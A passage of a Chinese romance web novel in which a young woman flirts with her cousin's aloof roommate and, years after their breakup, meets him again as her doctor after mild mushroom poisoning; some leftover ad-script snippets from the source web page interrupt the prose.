曾岳是她亲大舅的独子,从小到大几乎跟她一起长大,对于她来说,曾岳几乎是亲哥哥一样的存在,所以她毫不犹豫就答应了。 晚上的时候,宋南汐特地挑了一身看起来比较乖的长款白裙拿着礼物前去赴约。 妆容也很淡,是她刻意为自己打造的小白花装扮。 她跟着侍应生的引导去了包厢,包厢里男男女女欢声笑语,一见她来,不约而同地把目光聚集在她身上。 即使在迷离的灯光下,依旧难掩那窈窕的身姿和浓艳漂亮的五官,尤其那件仙气飘飘的白色长裙在她身上竟穿出一种纯欲感。 不知道是谁吹了声口哨,对她大声道:“美女,找谁啊?” 不等宋南汐说话,被人簇拥着的曾岳蹭地站起来,朝她走了过来。 他不悦地皱着眉朝刚刚吹流氓哨的男生看过去,“这是我表妹,正正经经的美女,榆大的学生。” 那意思很明显,她不是谁都能调戏的。 气氛一时有些沉默,刚刚那男生也不尴尬,端着杯酒,笑着站起来朝她举杯:“原来是妹妹啊,刚刚对不住啊!” 说完一饮而尽。 生日聚会,她不想扫大家的兴,笑着打了个哈哈,这事就算是过去了。 曾岳接过她的礼物,让她在自己旁边坐。 曾岳旁边的男生赶紧笑着往旁边挪了挪,空出一个宽敞的位置来,“妹妹坐。” 宋南汐弯了弯眼说“谢谢”。 这两个男生她认识,是曾岳的舍友之一。 宋南汐落座后,包厢内的气氛再次火热起来,有人去点歌,有人就去自告奋勇地唱歌。 唱歌的那个就是刚刚朝她吹哨子的男生,一头黄毛,但依稀可见是个好皮囊,跟这个人一样,一脸痞相,不是宋南汐喜欢的款。 宋南汐兴致缺缺地收回目光,抬手扎了块西瓜吃。 旁边曾岳的舍友褚丞悄悄凑过来,“欸,妹妹,有没有听说过他?” 宋南汐疑惑问:“谁?” 褚丞朝那台上那个黄毛扬了扬眉,“路清柏啊,有没有听说过?” 路清柏……好像有那么一点印象,依稀听班里女生说过,好像是什么校园十大男神之一。 “好像听说过。” 褚丞说:“衷心劝告你,离他远点,换女朋友比换衣服还勤,学校里出了名的浪子。” 宋南汐挑了挑眉,难得抬头多看了那男生一眼。 男生察觉到她的目光,笑着朝她抬了抬下巴。 巧了么不是,她换男朋友的速度比他有过之而无不及。 宋南汐端着酒杯,朝那人的方向抬了抬,喝了一口。 敬同道中人。 褚丞不明所以,看到俩人的互动只觉得恨铁不成钢,但还是劝道:“妹妹啊,两条腿的癞蛤蟆不好找,两条腿的男人还不好找吗?听哥的劝,离路清柏远点,不然十个你都不够他玩的。” 宋南汐倒觉得曾岳的舍友倒是傻得可爱,虽然本科生和研究生的信息流通性不高,但几乎是整个榆北大学的本科部都知道,大四有个漂亮的系花,甩男人的速度比洗衣机还快。 宋南汐偏过头朝褚丞微微一笑,那笑容简直让人春心荡漾,“学长,我觉得你就挺好的。” 褚丞似乎是听到什么不可置信的话一样,微微睁大了眼,下一秒,坐的离宋南汐八丈远。 耳边终于清净了一会,宋南汐有些无聊地又去扎西瓜,一旁的曾岳跟别人说完话,扭过头看自己的表妹正悠然自得地吃果盘,他的舍友宛如避蛇蝎一般,离宋南汐远远的,中间的空位都能坐下三个人了。 曾岳:“你是不是又逗我舍友了?” 宋南汐无辜地耸了耸肩,“他有点傻的可爱。我没忍住。” 他的舍友不了解这位大小姐,曾岳可是了解地透透的,他警告道:“宋南汐,你别招惹人家,褚丞有女朋友。” “我又没说要追他,而且——”她抬眸瞥了眼曾岳,“——我从不追有女朋友的男生,你不是知道吗?况且,我对他这种乖乖□□本没兴趣。” 曾岳看出了这位大小姐的无聊,“一会儿服务员会上一点吃食,等吃完东西我送你回学校。” 宋南汐:“不用,你忙你的,我坐一会自己回去。” 本来过来也只是给曾岳送礼物的,眼见着时间差不多了,她正要准备起身偷偷溜走,包厢门突然被人打开了。 迎着昏暗的灯光,宋南汐的注意力一眼就被站在门口的男人的外貌吸引。 平平无奇的一身白衬衫和牛仔裤,穿在他身上却显得挺阔有型,面容清隽冷淡,眉眼比女生还要精致漂亮,但气质冷然,如同万年的冰雪让人难以靠近。 莫名地,宋南汐脑海中浮现出一首诗来:积石如玉,列松如翠,郎艳独绝,世无其二。 曾岳抬手朝那人招了招手:“见青。” 宋南汐起身的动作一顿,原来他就是陈见青——曾岳那个神龙见首不见尾的舍友。 大学里,她跟曾岳吃过几次饭,曾岳经常会拉上他的舍友,不过每次都会少一个,理由来回就那么几个——做实验、比赛、拿奖、打工。 久而久之,宋南汐对这个素未谋面的神秘舍友感到好奇——真的会有人比机器人的性能和续航还要好吗,这人简直就是个六边形战士。 包厢里的人几乎都是跟曾岳一个医学院的,其中不少人也认识陈见青,有人打趣了句:“曾岳,你真是面大,把咱们院里的大神都请来了。” 陈见青提着礼物递给曾岳,在他身边坐下,“抱歉,有点事来晚了。生日快乐。” 声音清冽干净,很好听。 宋南汐刚离座的屁股又坐了回去。 有人起哄:“大神,来晚了是不是得罚一杯啊。” 宋南汐抬眸看了眼台上起哄那个黄毛,心里暗想,这人怎么这么烦。 这个人一看就是那种乖乖好好学生,应该不会喝酒。 她向来对漂亮美人有很强的包容性和保护欲,尤其是这样一个完美长在她心巴上的美人。 正想开口帮他解围,一只手忽然越过曾岳伸了过来,将她面前留余的半瓶酒拿走了。 宋南汐突然忘记自己要说的话了,目光不自觉地盯着男人的手指瞧。 他的手很白,看起来薄而瘦削,手指修长,指尖圆润饱满,在迷离昏暗的灯光下,凸起的腕骨看起来极为性感。 极品啊!宋南汐忍不住在心中感叹。 男人倒了一点红酒,不多,只堪堪一点杯底,但也算给足了面子,毕竟平时的他滴酒不沾。 他抬手,抱歉地笑了下,“自罚一杯。” 话落,他一饮而尽。 宋南汐特意往后仰了仰,从曾岳身后的缝隙里看过去,只看到他上下滑动的喉结,很性感的漂亮。 这举动也出乎大家的意料,没想到平时的高冷学霸也没那么冷,甚至还有点平易近人的错觉。 但其实陈见青只是给曾岳面子而已。 路清柏鼓了下掌,评价道:“学霸好酒量。” 听起来不像夸奖倒像是调侃。 不过也无人在意,气氛重新开始火热起来,有人聚在一起打牌,邀请曾岳一起去玩。 曾岳本想拒绝,他怕把陈见青撂在这,他不自在。 毕竟,陈见青很少出席这种聚会,这次能来他的生日会也是看在他俩关系好、一个宿舍的份上。 身旁的宋南汐挪了挪屁股,蹭过来,开始吹耳边风:“哥,你去玩呗。” 曾岳扭头就对上那双促狭的眼睛,“……” 不需要她明说,只要她一开口曾岳就知道她在打什么坏主意。 陈见青也看出他的犹豫,“你玩你的,不用管我。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >曾岳最喜欢棋牌游戏,尤其最近天天泡实验室他已经很久不碰了,有点按耐不住心动,但还是不太放心陈见青,“你自己在这待会,一会儿服务员会上蛋糕,还有吃的东西,我去玩两把,晚会一起回学校。” 起身时,他又扭头对一旁的宋南汐警告道:“不许惹事。” “知道了,知道了。”她回答地很不耐烦,似乎盼着他快点走。 “……” 那边已经发好牌在催曾岳了。 曾岳站起身,离开前不放心地低声警告宋南汐:“别到处沾花惹草。” 宋南汐朝他抬了抬眉梢,目光在他和陈见青之间流连,有些暧昧。 那眼神意味很明显:你喜欢他? 曾岳深吸了口气咬牙否定:“收起你那些肮脏的心思。” 宋南汐撇了撇嘴,在聒噪的包厢内,无声朝他张了张口,“知道了。” 曾岳怕再待下去真的会被气死,提步就走,刚离开没两步,余光就瞥见宋南汐那丫头极快地朝陈见青那边挪了挪。 曾岳:“……” “岳哥,快点,就差你了。” 有人在高声催促他,曾岳叹了口气。 算了,陈见青那样的人,高冷寡淡,除了学习比赛和打工,没人能挤进他的生活。 想当初,又有多少人追过他,哪个不是以失败告终。 他想,宋南汐只能是一厢情愿,碰碰壁也好,以后她也能收敛点。 眼见着表哥离开,宋南汐立马朝陈见青的方向凑近了些,抬手拿了瓶未开封的果粒橙,毫不费力打开递到他面前:“学长,要不要喝果汁?” 陈见青头也不抬,垂眸盯着手机页面,声音冷淡:“不用,谢谢。” 宋南汐也不气馁,继续道:“学长,我叫宋南汐,榆大商院大四的学生,曾岳的亲表妹。” 这次陈见青终于偏头看了她一眼,微微朝她颔首,语气疏离,但终于没那么冷淡:“你好。” 说完继续低头盯着手机屏幕上一片密密麻麻的字母。 宋南汐清了清嗓子,“学长,你有喜欢的人了吗?” 这话一出,陈见青也敏锐地察觉到了什么,手机屏幕上滑动的手指顿住。 以往面对这种事,他都是毫不留情的拒绝或者置之不理,但这次的对象不同,她是曾岳的妹妹,而曾岳帮过他很多。 他选择委婉地告知她:“我每天的时间安排都很满,要学习比赛和打工,所以没有时间也没有心情去喜欢谁,更没有谈恋爱的打算。” 宋南汐立刻明白了他话里的意思。 他没有女朋友更没有喜欢的人。 宋南汐立刻笑吟吟地凑地更近了,几乎只有一拳的距离,陈见青甚至能感受到迎面扫来的呼吸热气。 含笑的眼睛盯着他:“学长,那我能追你吗?” 喉结干涩地滚了下,陈见青别过头,错开她的目光,声音疏冷:“抱歉,我没有恋爱的打算。” 宋南汐丝毫不见失落,反而有商有量的,“那你什么时候打算谈恋爱呀?我先拿号排队行吗?” 包厢里的人几乎都聚在那打牌打得火热,没人注意到角落里蔓延的粉色暧昧。 宋南汐安静地等着他的回答,片刻后听见他的回答:“不行,我们没结果。” 果然拒绝的干脆,不过她依旧不气馁,盯着他发红的耳尖,老神在在道:“我觉得有戏。” 陈见青深吸口气,直接道:“未来十年,我都没有恋爱的打算。” “啊……你想让我追你十年啊?”宋南汐像是认真思考一番,而后神色认真道:“也行。” “不过——”她话音一转,歪头看过来的眼神似是有些苦恼:“等十年一到,你能给我转正吗?” 陈见青的下颚线紧绷着,似乎第一次碰到这种难缠的茬,几乎咬着牙吐出两个字:“不能。” 宋南汐:“那不就成了陈世美了吗?” 陈见青:“……” 这人怎么油盐不进的。 5. 入梦 即使在梦里,宋南汐也依然清楚地记得那天的情形还有他的反应。 他似乎是第一次碰到这种大胆的追求者,好半会都找不出话来回她,最后手机屏幕都灭了,他站起来,连招呼都没打,直接走了。 宋南汐还喊了句:“学长,加个微信啊。” 陈见青的脚步更快了,逃似的出了包厢。 倒是身后的宋南汐笑得花枝乱颤。 打牌回来的曾岳一看到宋南汐的神情就猜到发生了什么事,连忙给陈见青发了条道歉的消息。 还不忘拍了宋南汐一巴掌,力道并不重,却让宋南汐一阵头晕,画面一转,包厢里的人全都变成了她认识的人。 她被朋友簇拥着坐在中间,路清柏坐在她旁边,一头黄毛变成一头略显乖巧的黑发。 陈见青就站在她面前,眼眶通红地盯着她和路清柏十指交握的手,声音有些哑:“宋南汐,你玩我?” 宋南汐笑起来,“是啊,就是想试试把那种高岭之花拽下神坛的感觉怎么样,也没什么难度嘛。” 她不敢去看他的眼睛,怕自己会心软,但却让陈见青抓住了漏洞,他声音笃定:“宋南汐,你在撒谎。” 她紧紧握着拳,垂眸平复了一会呼吸,复又抬眼,掩去眸中情绪,笑的凉薄:“就是玩你,怎样?” 陈见青似乎不信,自顾自猜测着:“为什么分手?害怕异地恋吗?我也可以去国外,我——” “——陈见青,我不喜欢你了,还要我再说的清楚点吗?”宋南汐打断他未尽的话语,目光凌厉,语速极快,但却足以让每个人都清楚。 包厢安静下来,宋南汐看着他眼中的受伤,心脏仿佛被人揪紧了疼,路清柏轻轻握了握她的手,开口时吊儿郎当地欠揍: “喂,你当着我的面表白我女朋友是怎么回事啊,能不能尊重一下我这个现任男朋友啊。” 陈见青的眼神一直凝着宋南汐,声音带着不易察觉的颤抖说:“宋南汐,我们单独谈谈。” 即使宋南汐抛出再难听的话,他都不生气,用比水还要柔软的身体试图去包裹她全身的刺。 宋南汐嗓子哽的说不出话来,路清柏不耐地“啧”了声,“喂,你这人怎么听不懂话,我女朋友不想跟你、单独、谈,懂吗?” “单独”两个字他咬音极重,但陈见青似乎听不进旁人的话,依旧固执地说:“宋南汐,跟我谈谈吧。” 宋南汐没说话。 陈见青再次重复了一遍,声音里带着乞求:“阿南,跟我谈谈,行吗?” 指尖嵌进肉里,宋南汐垂着眼睛,眼泪不由自主地落下来隐匿在昏暗的灯光中。 气氛一度陷入僵持,宋南汐不说话,陈见青就耐心地等着她的回答。 榆大榜上第一的高冷男神卑微求爱,场面实在过于震撼,有人悄悄拿着手机对准他们。 路清柏率先开口打破这种僵持,他朝桌上刚开封的酒扬了扬下巴,“把那瓶酒喝了,就勉为其难地考虑一下,怎么样?” 陈见青哪里会喝酒,几乎是一杯倒的水平,那一大瓶下去无异于要他的命。 宋南汐抬眼看他,她知道路清柏是在用这种方式为难他劝退他。 陈见青眸色暗的深不见底,就那样安静地看着宋南汐,“如果我喝了,你愿意跟我单独谈谈吗?” 宋南汐嘴角扯出一抹笑,“陈见青,你在开玩笑吗?” 话落瞬间,陈见青拿起桌上的酒瓶,仰头就往嘴里灌。 众人都惊了一瞬,连路清柏都没反应过来,宋南汐疯了一样冲上前强硬地抢下酒瓶。 “砰”地一声,酒瓶应声碎裂,猩红色的液体淌了一地。 “你疯了!陈见青!”宋南汐嘶吼出声。 “是,疯了一样地想见你。” 他眼神已经有些迷离,脚步也踉跄了两下。 宋南汐想抱他,想亲他,不想跟他分手。 但是理智告诉她,不可以。 他必须拥有更好的未来,没有她的未来。 宋南汐重新竖起刺,“陈见青,我说我不喜欢你了,你听不懂吗?” “我烦死你了,你能不能别再缠着我了。” 话说的再狠,生理反应还是无法骗人。 她的声音在抖,身体在抖,说到最后几乎泣不成声: “陈见青,现在就连梦到你我都觉得害怕。” 他嗓音艰涩:“阿南,跟我在一起,让你这么难受吗?” “是,难受的快死掉了。” “好,我知道了。” 直到包厢门关上,她才意识到,陈见青真的走了。 那个教会她爱的人彻底从她的世界消失了。 耳边的喧嚣褪去,鼻尖萦绕着淡淡的消毒水味,她缓缓睁开眼,刺眼的白炽光一股脑的涌进来,缓了好一会儿,她才适应这光亮。 她抬手随手一擦,手上一片湿润。 她眨了眨眼,愣愣地盯着头顶洁白的天花板,目光有些呆滞,似乎还没醒过神来。 半晌,她用力握住手,指尖嵌进肉里,神经末梢传来痛感。 她呼出口气,原来真的是梦。 梦境里分手时的狠话似乎仍在耳边回荡,她说‘就连梦到他都让她感到害怕’。 于是此后数年的梦里,他从来不曾真正入过她的梦,她每每梦到的都是陈见青决绝离去的背影,不曾回头。 这是第一次,她梦到了他们的初见。 曾数年求而不得的梦,因为一次菌子中毒,他开始入她的梦了。 “表姐!你醒啦!” 一道声音在门口响起,她抬手慌乱地擦了擦未干的泪痕,扯出一抹笑,“小醇,你怎么来了?” 易醇穿着白大褂拿着记录本走过来,看见自家表姐红肿的眼睛,有些担心:“表姐,你哪里难受吗?怎么哭了?” 宋南汐笑了笑:“没事,就是做了个噩梦。” 易醇观察了下她的反应确定真的没事,才叹了口气:“你真是吓死我了,我昨天正在那查房呢,突然听表哥说你菌子中毒了,幸好只是轻微的,不然后果不堪设想。” “昨天?”宋南汐皱了皱眉。 “对啊,”易醇说,“你已经睡了快一天了。” “糟了!”宋南汐一拍脑袋,想起生死不明的路清柏来,她声音急切:“跟我一起来的朋友怎么样了?” 易醇:“安啦表姐,他没事,幸好及时送来洗了胃,目前就是有点腹泻,观察两天,明天就能出院了。” 宋南汐舒了口气,又想起她抱来的狗,还不等她问,易醇继续道:“奥对,还有拿来的时候拿的那个汤勺以及那条小比熊犬在值班室里,我今天早上去看过了,它看起来挺好的。” 听完易 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醇的话,她才彻底放下心来,“那我什么时候能出院?” 易醇:“今天就可以,你现在出院也行,检查显示你已经没事了。” 宋南汐点点头,下床拿起手机,对易醇道:“小醇,我朋友在哪,我去看看他。” 易醇说:“表姐,我正好要去那边,我带你去吧。” 宋南汐跟着易醇去了路清柏病房,一进门就看到护士正在给他换输液瓶,而路清柏正靠在床头跟护士小姐姐笑着交谈着什么。 宋南汐暗暗腹诽,狗改不了吃屎,路清柏改不了撩妹。 把她送到门口,易醇说:“表姐,我得去隔壁查房了。” 宋南汐点头,“你先去忙,有空我去找你。” 等易醇走后,宋南汐才推门走进去。 一见她来,路清柏笑得更开心了:“说曹操曹操到。” 宋南汐满头问号,“打什么哑谜呢?你怎么样?没事吧?” “没事没事,就是快被你笑死了。”路清柏看见她就笑得停不下来。 一旁的护士也弯着眼睛在笑,含笑的目光落在宋南汐身上,“你还记得我吗?” 宋南汐:“?” 路清柏憋着笑提醒:“这就忘了?你不是还叫人家蛙姐姐吗?” 菌子中毒时,她恍恍惚惚的,一切宛如一个瑰丽梦幻的世界,她都已经记不太清那时候发生的那些事了,但经路清柏一提醒,她模糊地想起一点记忆。 记忆中,她似乎看见一群青蛙和癞蛤蟆。 哦对,还有一朵看着漂亮其实会吃人的食人花。 她皱了皱眉,“我都干什么了?” 护士陈春月委婉道:“就是吧,你捏了陈医生屁股。” 宋南汐的心里突突跳起来,有种不祥的预感:“哪个陈医生?” 路清柏:“还能有谁,陈见青呗。” 宋南汐:“……” 陈春月想了想当时的场景,补充道:“你说我们的时候,不是癞蛤蟆就是青蛙,一到了陈医生就变成漂亮的花了。” 宋南汐一颗心沉下来,“然后呢?” 陈春月继续语不惊人死不休道:“你还拔了陈医生头发。” 宋南汐:“………” 完了。 宋南汐小心翼翼地问:“陈医生反应怎么样?” 陈春月想起当时那个让人不寒而栗的眼神,肯定道:“挺生气的。” 宋南汐不禁吞了吞口水:“那你们陈医生,现在在哪呢?” 陈春月说:“陈医生今天没有手术,应该一会会过来。” 看着宋南汐一脸僵硬的神色,陈春月没忍住安慰道:“你别担心,陈医生还是挺好说话的,你跟陈医生道个歉就行。” 道歉? 怎么道歉? 当时分手闹得不欢而散,一别七年,结果刚见面就吃人豆腐? 总不能说,陈医生,在我的世界里你最与众不同,因为我还对你念念不忘,心存幻想,对不起! 她说不出来。 现在、此刻她只想挖个地洞钻进去。 真的,糗大发了!!! 正在道歉和逃跑两者之间天人交战的时候,只听护士陈春月突然道: “欸?陈医生好像来了。” 宋南汐:“…………” 苍天!做人不应该倒霉至此! 6. 情敌见面 陈见青来查房,看见易醇正好从隔壁房间出来。 易醇一见自己老师就发怵,尤其是这两天不知道为什么老师心情格外的不好,没人敢上去触霉头。 易醇本来还跟其他人打听了一下,但大家都是闭口不谈,仿佛说出来就会必死无疑一样。 易醇硬着头皮打了声招呼:“老师好。” 陈见青点了点头,“今天让你去看的那个菌子中毒患者怎么样了?” 易醇老实回答:“我表姐……呃,那个患者恢复良好,已经去看她的朋友了。” “嗯。” 易醇第一次觉得这个单音节也能发出这么渗人冰冷的温度,明明刚刚还好好的,怎么听完她的汇报,脸色立马就阴天了呢。 她默默在内心吐槽,果真是男人心海底针。 陈见青抬脚就走,见易醇还落在身后,冷冰冰丢下句话:“还不跟上来?要我请你吗?” “来了来了。” 易醇连忙跟上去,一起进了另一个菌子中毒患者的病房。 进去后,陈见青公事公办地例行问话,易醇站在一旁一边学习,一边分心观察四周。 奇怪,表姐明明刚进来的,怎么一会功夫就没人影了。 陈见青向前走了几步,离病床近了些,病床上的人本来还是躺着立马弹坐起来:“陈医生!我已经恢复地很好了!你去关心关心其他病人吧!” 易醇眼观鼻,鼻观心,瞬时觉得更奇怪了。 这个红毛病人和护士姐姐怎么一脸紧张兮兮的。 陈见青面无表情道:“一般菌子中毒后的患者轻则产生幻觉上吐下泻,重则抑郁甚至是肾衰竭。有的患者确实中毒不深,所以拉过吐过也就没事了,而有的患者看着活蹦乱跳没什么事,实则可能已经毒入肾脏,回光返照而已。” 路清柏听完,看着陈见青面无表情的脸,半信半疑道:“陈医生,你不会公报私仇的吧?” 陈见青回答的滴水不漏:“医者仁心,当然不会。” 路清柏放下心来,他问:“那我是属于轻症吧?” “轻症?”陈见青一边在本子上记录着什么,一边抬头瞥了他一眼:“都洗胃了,你觉得是轻症吗?” 不是轻症?! 那排除一下不就剩下回光返照了?!!! 路清柏一颗心凉了半截,颤巍巍出声:“医生,我不会是回光返照吧?” 陈见青依旧面无波澜,声音也很无情:“有待观察。” 易醇在一边认真地记笔记,记到一半又有点疑惑:今天老师不是还说医院里来的两个菌中毒患者没什么大问题了吗? 不对,她又想起今天老师说这个红毛的摄入菌子过多,需要观察一下才能出院。 另一边的护士陈春月也疑惑起来,这个红毛小子跟陈医生有仇吗?明明他的检查结果已经显示没事了呀,不过……确实是需要观察一下。 路清柏还没来得及伤春悲秋,又想起刚刚还在活蹦乱跳跟没事人一样的宋南汐,他紧张兮兮地问:“那另一个菌中毒的患者不会是回光返照吧?” 话音刚落,床底传来一声闷响,在空荡安静的病房里显得异常突兀。 陈春月和路清柏顿时面面相觑。 易醇傻乎乎地问:“什么声音?” 路清柏突然在床上像蛆一样扭捏了一下,提了提被子,将自己完全盖住,声音闷闷地,像是在咬着牙:“对不起,老子没憋住,放了个屁!” 易醇没憋住“噗嗤”笑了出来,很快又憋住,赶忙找补:“那个……没事的啊,排气是菌子中毒后的正常生理现象。” 护士陈春月也在一边咬着唇憋笑。 陈见青目光专注地在记录本上记录完,也没回答刚刚的问题,转身出了病房。 易醇赶忙跟上,对着身后捂在被子里的人好心提醒道:“我们走了啊,你可以出来透透气。” 直到俩人身影消失,陈春月弯腰敲了敲床板。 床底下,宋南汐捂着头爬了出来,两眼泪光涟涟地问陈春月:“我也是回光返照吗?” 陈春月笑着说:“不是,不是,你们俩都不是。” 听见陈春月的回答病床上捂成一团的人蹭地坐起来,一头红发乱糟糟的,像是炸了毛,本人也确实炸了毛,接连爆粗口: “艹他娘的,陈见青这个狗东西!他刚刚就是在公报私仇!我要告他恐吓!我要投诉他!” 陈春月不满地为陈见青正名:“你别污蔑陈医生,陈医生只是工作认真,而且你的病就是有待观察呀,陈医生没错!” 宋南汐也觉得有道理,劝道:“对啊对啊,路清柏,我觉得小美女说的没错,陈见青不是那样的人。” 路清柏只觉得有苦难言,刚刚甚至在自己的情敌面前丢了面子,简直奇耻大辱! 他再次一头把自己闷进被子里:“艹,老子不活了!” - 道歉和逃跑之间,宋南汐还是没出息的选择了悄悄逃跑。 她跟护士陈春月借了一个口罩,悄摸摸地溜去了曾岳的办公室。 办公室里,曾岳早在里面等着她,一见宋南汐的做贼心虚的模样,没忍住调侃道:“现在知道丢人了?摸你前男友屁股的时候不是挺开心的嘛。” 说起这个,宋南汐就有些生气,指责他:“你当时都在现场,为什么不拦着我?你还是不是我亲表哥了?” 曾岳举起手就喊冤枉,“祖宗,在场十几个医生护士也硬是没拦住你想吃陈见青豆腐的心啊!” 宋南汐一下泄了气,当时的场面她也听陈春月护士绘声绘色地描述了一下,简直可以用“十个人也拉不住一头发疯的牛”来形容。 对,她就是当时的那匹疯牛。 宋南汐垮下一张小脸,略显失落,“算了,你把我的青青还给我,我要回家了。” 曾岳:“宋南汐,我都还没问你,你什么时候来的江临?为什么没告诉我?” 宋南汐想了想,慢半拍道:“哦,忘记你也在江临了。” 曾岳直直望着她的眼睛:“是忘记了,还是不敢?” “有什么不敢的,我确实忘了你这号人。” 她的语气稀松平常,听着确实像那么回事,但曾岳了解她,毫不留情地揭开她虚伪的假面:“忘了我,也忘了易醇?易醇跟我说过,三天前她刚给你发的消息,你当时回她的时候说你在榆北,怎么短短三天时间你就从榆北飞到了江临?” 易醇是她小姨的女儿,也是宋南汐看着长大的,跟她的关系很好,虽然她现在成了医学生,每天忙的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脚不沾地,但只要一有空就会联系她,有时候还会给她寄东西吃,三天前易醇给她发消息的时候是想给她寄一点江临的特产。 “我——”宋南汐被堵的哑口无言。 曾岳继续道:“宋南汐,你不用在我面前撒谎,之所以没有告诉我和易醇,是因为我们都和陈见青有关,我是他的好朋友,易醇是他的学生,归根结底,你是在逃避陈见青。” 几句话直指她的内心深处,宋南汐避无可避,最后自暴自弃道:“是有怎么样?难道你很愿意见到你前男友吗?” 曾岳噎了一瞬,满头黑线:“我没有前男友。” 宋南汐:“我知道啊,你连前女友都没有,三十好几的人了,还是个光棍。” 曾岳:“……” 宋南汐不耐烦道:“快把青青还我。” 曾岳终于抓住她的漏洞,“你看你看,你就是对陈见青念念不忘,连狗的名字都抄袭人家的。” “……”宋南汐第一次觉得自己的表哥这么讨人厌。 看着宋南汐吃瘪,曾岳乐的开心:“被我说中了吧?你说说你,怎么这么没出息呢,实在忘不掉,那就——” “再试试呗”四个字突然卡在喉咙里,生意场上堪称女魔头的宋南汐竟然掉了两滴泪。 曾岳一下慌了,蹭地站起来几步走到宋南汐跟前:“哎呦,祖宗,怎么还哭了呢?” 宋南汐擦掉那两滴不争气的眼泪,也许是心口淤积的那团气让她说话时声音都比平时高了几个度:“我就没出息,那又怎么样?我就是喜欢他,我就是对他念念不忘,那又怎么了。” 是啊,那又能怎么样呢。 反正,陈见青肯定都已经对她恨之入骨了。 不知道是不是自己的错觉,她总觉得旁边被帘子遮的严严实实的检查床好像有什么异动。 宋南汐忍不住偏头看了眼。 曾岳掰过她的脑袋,叹了口气,帮她擦了擦眼泪,没再说什么,“那还要不要你的青青了?” 宋南汐红着眼瞪他:“还我的狗。” 曾岳笑着摸了摸她的头顶:“走吧,带你去找青青。” 说青青两个字的时候他偏头深深看了眼一旁的帘子,宋南汐顺着他的目光去看,帘子遮蔽的严严实实,只漏出一条缝隙,看不出什么。 她吸了吸鼻子,疑惑问:“你有病人在这?” “没有。”曾岳瞥她一眼,语气遗憾:“早知道把陈见青叫过来,藏在这,看看你这恋恋不舍的没出息样。” 宋南汐听见他这话顿时警铃大作,连哥都不叫了,直呼他的大名:“曾岳,你别吓我,你不会真的——” 看见她一脸惊悚,曾岳赶紧否认:“没有没有。” 宋南汐皱了皱眉,半信半疑,盯着那扇蓝色帘子若有所思。 正想着要不要去掀开验证一下的时候,曾岳推着她的肩膀就往外走,力道之大,不容拒绝:“走了走了,赶紧带着你的青青回家,别耽误我工作。” 宋南汐警告他:“曾岳,你要是敢骗我,你就再打十年光棍!” 曾岳:“…………” 两人的声音渐渐飘远,办公室的门被人关上。 厚重的蓝色帘子突然被人拉开。 陈见青从里面走了出来。 7. 月老姻缘 曾岳送走宋南汐就回了办公室,进去的时候陈见青正准备从里面出来。 曾岳拦住他,一脸幽怨地盯着对方:“陈见青,你害惨我了,这下我要打十年光棍了。” 陈见青觑他一眼:“迷信而已,你信这些?” 曾岳看着他一脸事不关己的表情就来气,“你不信?!你不信之前偷偷去什么月老庙?” 那张向来冷淡的面孔上终于出现一丝龟裂,曾岳还在一边喋喋不休:“之前去榆北交流学习,临走前人家提出聚餐欢送一下,你竟然反常地提出聚餐地点的建议,我当时还纳闷呢,你一向对这些没什么兴趣——” 曾岳一脸看透的表情:“——其实是因为你建议的那家农家乐的店离那个月老庙很近吧?” 前年他和宋砚舟一起去榆北交流学习,临走的时候医院负责人想聚个餐为他们送行,一向沉默寡言惜字如金的陈见青竟然建议大家去一家地点有些偏的农家乐聚餐,大家都欣然同意。 那次大家都喝了一点酒,陈见青也不例外,期间,他借口出去透气,曾岳不放心就在不远处跟着他,他的目的性极强,出了门径直登上了不远处的半山腰,那里高高矗立着一座月老庙。 那熟门熟路的样子,一看就是曾经来过很多次。 这哪里是出去透气,明明是去求姻缘的。 看着宋砚舟愈加僵硬的神色,曾岳“哼”了声:“说实话,那次的聚餐你就是醉翁之意不在酒吧?表面上是去吃饭,实际上是偷偷给自己牵红线去了吧?” 曾岳用脚趾头想都知道陈见青去月老庙所求为谁,但为了报复那个“十年光棍”的诅咒,还是不怕死地,明知故问道:“为谁求的啊?求到了吗?不会没求到吧?那里灵不灵啊?” 陈见青的脸色肉眼可见的速度一寸寸冷下来,曾岳向来不是个见好就收的,还在调侃:“哎呀,看来没成功啊?” 陈见青唇角突然扯出一抹笑,笑容森然,曾岳莫名地脊背生寒。 “你怎么知道没成功?” “?” 陈见青:“至于那地方灵不灵,你不知道吗?” 曾岳一头雾水,只听陈见青继续道:“那天我可是给你挂了几十条红绳。” 曾岳:“……?” 他忽然想起曾经的某段往事,那是从榆北交流学习回来的第二个月,他的母亲大人突然给他来电,电话内容很简单:她安排了许多优秀漂亮的女孩给他认识,其实就是相亲,根本不容他拒绝。 于是接下来两个月的时间,曾岳差点猝死,不是在做手术的路上就是在相亲的路上。 陈见青淡淡瞥了眼曾岳不可置信的神色,才继续幽幽开口:“很有用。不是吗?” 曾岳深吸了口气,微笑看他:“……几十条,你逗我呢,陈见青。” 看见曾岳信了,陈见青罕见地唇角挂上了一抹淡笑。 他挑了挑眉:“不信?那等下次我再帮你多挂点?” 那两个月的生活几乎已经成了他人生中阴影般的存在,而当时他去相亲的时间又那么巧,这让陈见青的话已经有了七分可信度。 曾岳皮笑肉不笑道:“陈见青,你想让老子开三宫六院?” 陈见青:“你不是怕打光棍?” “这是打光棍的事吗?这他妈都犯法了!”曾岳现在对那股神秘的东方力量渐渐屈服,他没什么气势地威胁道:“陈见青,你在再敢给我挂那么多,咱俩真的绝交!绝交!” 陈见青看了看表:“我得去查房了。” 曾岳对着他离开的背影威胁道:“陈见青,我说真的!” 陈见青朝他摆了摆手,没什么诚意道:“我考虑考虑吧。” 曾岳:“…………” 他真是上辈子欠他俩的,这辈子才来给他俩当牵线的。 一个让他打光棍,一个让他开三宫六院。 这日子真是没法过了! - 宋南汐一手抱着狗一手拿着汤勺,一脸鬼鬼祟祟地跑出了医院,直到坐上出租车才算是松了一口气。 一路上,那司机师傅频频抬头,透过头顶的那块镜子在看她,那眼神看起来没什么恶意,像是很疑惑。 宋南汐不理解,他在疑惑什么。 路口遇到红灯,车子缓缓停下,司机师傅抬眼再次看了眼镜子,这次正对上宋南汐的目光。 宋南汐直接问:“师傅,有什么事吗?” 